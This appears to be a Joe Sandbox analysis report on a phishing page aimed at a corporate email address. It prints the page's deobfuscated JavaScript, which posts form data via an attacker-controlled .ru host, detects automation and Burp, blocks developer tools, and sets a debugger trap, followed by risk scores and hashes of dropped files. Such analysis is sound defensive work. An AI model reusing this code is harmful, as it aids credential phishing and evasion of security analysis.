ZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQpVVnNTdmZyQnhKID0gZmFsc2U7DQooZnVuY3Rpb24gYXN5TlFTU0ZPZSgpIHsNCiAgICBsZXQgYVlnWmFVV2NheSA9IGZhbHNlOw0KICAgIGNvbnN0IHRxc2tBRmVqb00gPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IHJ2TXh1Y3NPeHUgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAg
URL: https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacor... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. It collects user data and sends it to an unknown domain, and upon certain conditions, it redirects the user to a Microsoft login page, which could be part of a phishing attempt. The overall behavior of this script is highly suspicious and indicative of malicious intent." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA2JzGXKKKPcEUX8', 'error-callback': iRKKSmHJrb, callback: NijbcKuPav, }); function iRKKSmHJrb() { turnstile.reset(); } function NijbcKuPav() { var BQKhRjwqEY = document.getElementById("xiJqGtefHI"); BQKhRjwqEY.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = '7BNk'; var YzKUYmpPcL = "../lobIQT7AJt49oEoP295qUVdYh5gmhm7yiIJeMDDxq"; fetch('https://hSfwwHjAXkF3tk1J4PiUNTAsOCGHL6OpRwpy8ksUu5fW9tGQVjBPGV6TsPPp.concivergo.ru/9298868286056926937588463tlEmiGWfQZUSAOXXRMJCPEKGPDRWWMJLCSMZXLWIHLOVPCGCHROCWY', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(YzKUYmpPcL, { method: "POST", body: new FormData(BQKhRjwqEY) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(UVsSvfrBxJ == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacor... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The script also includes an interval-based debugger trap that could be used to detect and prevent analysis. Overall, this script demonstrates a high level of malicious intent and should be considered a significant security risk." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); UVsSvfrBxJ = false; (function asyNQSSFOe() { let aYgZaUWcay = false; const tqskAFejoM = 100; setInterval(function() { const rvMxucsOxu = performance.now(); debugger; const zyqatcLkNH = performance.now(); if (zyqatcLkNH - rvMxucsOxu > tqskAFejoM && !aYgZaUWcay) { UVsSvfrBxJ = true; aYgZaUWcay = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacorp.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacorp.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dAA3054B1E47A799E%26opidt%3d1736554417%26uaid%3d5d265fc5e70c430680d18cae6dd2def9%2 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dAA3054B1E47A799E%26opidt%3d1736554417%26uaid%3d5d265fc5e70c430680d18cae6dd2def9%2 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dAA3054B1E47A799E%26opidt%3d1736554417%26uaid%3d5d265fc5e70c430680d18cae6dd2def9%2 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": [ "someone@example.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dAA3054B1E47A799E%26opidt%3d1736554417%26uaid%3d5d265fc5e70c430680d18cae6dd2def9%2 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dAA3054B1E47A799E%26opidt%3d1736554417%26uaid%3d5d265fc5e70c430680d18cae6dd2def9%2 Model: Joe Sandbox AI	```json{ "legit_domain": "live.com", "classification": "wellknown", "reasons": [ "The URL 'signup.live.com' is a subdomain of 'live.com', which is a legitimate domain owned by Microsoft.", "The brand 'Microsoft' is well-known and commonly associated with the domain 'live.com'.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The input field 'someone@example.com' is typical for a sign-up page, which aligns with the purpose of a Microsoft service." ], "riskscore": 1}
URL: signup.live.com Brands: Microsoft Input Fields: someone@example.com

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 23:11:44 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9825976091423345
Encrypted:	false
SSDEEP:	48:8PIoWdKT2i2HZidAKZdA1FehwiZUklqehLy+3:8PD7PA0y
MD5:	36872FDC0CF7F6FE5338071DB1921D3D
SHA1:	1BE5A7E02640D816A41EBB920854EB685437080F
SHA-256:	802603467A65B50C8650D6E678F07EF06BAF6D13F4C91086BAE612991F7F807D
SHA-512:	39864EC6790227C298ABE78F339BD2225E9BD24A4B26293FB1A3956602A015982F57AB6B7BB1D96F9CEBFB5FDAACE7D2A93B18729B2D52A0C11663998CBDEC83
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......f.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I+Zl.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Zu.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Zu.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Zu............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Zw............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 23:11:44 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.997583609454638
Encrypted:	false
SSDEEP:	48:83joWdKT2i2HZidAKZdA1seh/iZUkAQkqehky+2:8c7PW9QVy
MD5:	AB13E99B2925B45CC370A30E0FD173BD
SHA1:	D327EDC4F9D5F8B2E84955CA3262A1C10A0B98E0
SHA-256:	399D3DD13848D95CBA5D0311077AEACD2D91F8BD4AC363308B2C5B98A560B2CD
SHA-512:	1FCDE1A711778A42755F01C555E2A4A43C647A081E78307EE7BD128855D515C3C6CA63AB9E25B293A88BA9E08AA5DB2C19472075570E06DF895D6406AF3A6D4F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......e.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I+Zl.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Zu.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Zu.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Zu............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Zw............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.006580748042765
Encrypted:	false
SSDEEP:	48:8LWdKT2iAHZidAKZdA14meh7sFiZUkmgqeh7s+y+BX:8L7PUnoy
MD5:	EA1CD779E17256DA631F57C62958FC6B
SHA1:	020D6F35C8D97CA6382A59316D21256497D80C94
SHA-256:	C9D335CAED78A1B2D25B222B7EEE34A9C0E60C85D1759BE104EC2E887C2FE3E2
SHA-512:	5A2ED4FEB53942DE71960222C60A51AEF926654B840D7AAB330543F1AFCD0AD52BC59A9F05374103088B382A5612CB220C1C29CD8304106214A46DF834C82847
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I+Zl.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Zu.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Zu.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Zu............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 23:11:44 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9950662520830917
Encrypted:	false
SSDEEP:	48:8HoWdKT2i2HZidAKZdA1TehDiZUkwqehAy+R:8I7PN2y
MD5:	DAEC153CC0A9872B396E67B0A3C6C3CB
SHA1:	1C6DEACFEB67331E5275D7DDDE88920BF9ED7E9A
SHA-256:	FE3D1E990C489B590CFDC33ED82FCD5BAF9683788108CB73FF8E3AF30F169F3C
SHA-512:	6173D0EAB9CBBB3244442EA7648CB781D540A32D38652720035B719542CB1D4004E2A54F5A3B8326C861B645AD0A0BD6AE4D1B903371505BC53B37E1B4B2B54D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....9z.e.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I+Zl.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Zu.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Zu.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Zu............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Zw............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 23:11:44 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.982825267722459
Encrypted:	false
SSDEEP:	48:8Dp9oWdKT2i2HZidAKZdA1dehBiZUk1W1qehyy+C:8D47Pt9Sy
MD5:	ACF62B2695D97EF4BEBF0AA60230D8CA
SHA1:	FCD49693D7DBBEC7E900E9E140241BCB6FCABB91
SHA-256:	93D5C194C2A7E173DE215C124A0000C286F66B681401A2B4665E969F1D4D4742
SHA-512:	395663ECEF6B24A56DFBA6341F781917FE385042B12E662AE81E46775D97D2E5822FB3B21C55B503013484BA04F8E4C8D025C7F1D28A084E2ACFFDBAC97D0310
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......e.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I+Zl.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Zu.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Zu.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Zu............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Zw............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 23:11:44 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.991676224465746
Encrypted:	false
SSDEEP:	48:8UoWdKT2i2HZidAKZdA1duTeehOuTbbiZUk5OjqehOuTboy+yT+:8X7PVTfTbxWOvTboy7T
MD5:	89604E3956CC0F3D1C87986DCBD33621
SHA1:	3736CC1CC8FD4BB1B26FFB525DB8F0202B2B5529
SHA-256:	2A1A386C2F095ADCE0BE5096D2957CA373FC17E1EE84BF13F256ED939DAE182A
SHA-512:	752641A04ED266C544A4BFF5D18E1E3950D1273BD84B19686844E321B868BAEB68DC42A61B733C348CC7E3353405EE580C447B28E9912103C7B2C80C6A66BA0B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......e.c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I+Zl.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V+Zu.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V+Zu.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V+Zu............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V+Zw............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65402)
Category:	downloaded
Size (bytes):	99580
Entropy (8bit):	5.3537490748380865
Encrypted:	false
SSDEEP:	1536:9km4q5RuBf42DZ5jbTJAXtJZcBWoN5e0E9QUEtTWaDa7:9kmX5QBfjAXtJZ4Fi0AQxDc
MD5:	0EA17C128A8DF6CE1784B8B0921B8100
SHA1:	28ED8E4221D4D24A541574F695B382074606A031
SHA-256:	D6ADF2105630F02712DC6F28B0B455AEEFB5B80F593971C98069A885FCBD40A0
SHA-512:	230E05C9B23146DBCB7EE6CD76376EC585E215CAEAD9DDCDEFEAAFB19838352760AF17B0956527483D643184D54CA673FA70EC22C3D3E451495292CC53675E54
Malicious:	false
Reputation:	low
URL:	https://js.monitor.azure.com/scripts/c/ms.analytics-4.min.js
Preview:	/!. 1DS JS SDK Analytics, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(n,e){var t="undefined";if("object"==typeof exports&&typeof module!=t)e(exports);else if("function"==typeof define&&define.amd)define(["exports"],e);else{var r,i,n=typeof globalThis!=t?globalThis:n\|\|self,o={},u="__ms$mod__",a={},c=a.es5_ms_analytics_4_3_3={},f="4.3.3",l="oneDS4",s=(s=n)[l]=s[l]\|\|{},d=(d=n)[l="oneDS"]=d[l]\|\|{},n=s[u]=s[u]\|\|{},v=n.v=n.v\|\|[],l=d[u]=d[u]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(a),e(o),o)r="x",s[i]=o[i],v[i]=f,typeof d[i]==t?(r="n",(d[i]=o[i])&&(g[i]=f)):g[i]\|\|(g[i]="---"),(c[r]=c[r]\|\|[]).push(i)}}(this,function(n){"use strict";var a="object",fn="undefined",c="prototype",f=Object,l=f[c];function s(n,e){return n\|\|e}var d,$=undefined,y=null,v="",h="function",b="object",C="prototype",I="__proto__",S="undefined",w="constructor",_="Symbol",T="_polyfill",E="length",k="name",Q="call",P="toString",D=s(Object),O=D[C],e=s

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65402)
Category:	downloaded
Size (bytes):	154752
Entropy (8bit):	5.666934473195883
Encrypted:	false
SSDEEP:	3072:uDVjwpqczvvQy6taISPVc/bU2/41/FGhTH4rXqVf0ez9O5s:uDVXczvX6taISP9T2b4rXqV8eL
MD5:	97A8EF19F5AE14C0AED877C4E0115481
SHA1:	47E2C947E78279B98D380931BC7058A77ADD614C
SHA-256:	16A51A9FD1A2A50B93123F93F82B54E8BF5D587FEA67864C1DB70F3EA79C3A36
SHA-512:	D36C8E57E7F0AB6EA285917F7DCF7E00FF111A4BB3C074829FAA0C8CCB395DB4E2FDCEB470CA08B6D8DB99625FD8152CB589F689C4ADC813648459CCA17B4513
Malicious:	false
Reputation:	low
URL:	https://client.hsprotect.net/PXzC5j78di/main.min.js
Preview:	// @license Copyright (C) 2014-2025 PerimeterX, Inc (www.perimeterx.com). Content of this file can not be copied and/or distributed..try{window._pxAppId="PXzC5j78di",function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){(null==e\|\|e>t.length)&&(e=t.length);for(var n=0,r=new Array(e);n<e;n++)r[n]=t[n];return r}function n(t,n){if(t){if("string"==typeof t)return e(t,n);var r=Object.prototype.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r\|\|"Set"===r?Array.from(t):"Arguments"===r\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(r)?e(t,n):void 0}}function r(t){return function(t){if(Array.isArray(t))return e(t)}(t)\|\|function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]\|\|null!=t["@@iterator"])return Array.from(t)}(t)\|\|

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65439)
Category:	downloaded
Size (bytes):	90677
Entropy (8bit):	5.331203510001561
Encrypted:	false
SSDEEP:	768:FVEDx3ySKZOP00d5TjMSYzSRRM1d0YjSRpUKHHacTItx7vtn1yC0JalF1rmq6Llb:v+0Z9yFrGi8SRGfyC0JalFx3gKa7
MD5:	57FD0FB79B8289945CA246DE0908D270
SHA1:	7FC9AB444778E83D566F35102D604969ED50576D
SHA-256:	EB327424AA27D47E4499187303774F8F22557359DB3C6BB583E033E07DD0B337
SHA-512:	99F654C722C50C08BB1C68A18BF6EED1FDA1E4CCF6D30BE65BFA6F24B21BA2F1995870C8CF54E820655B41497716DDFDD7487E0A33C121B322F705FA37E5DA09
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js
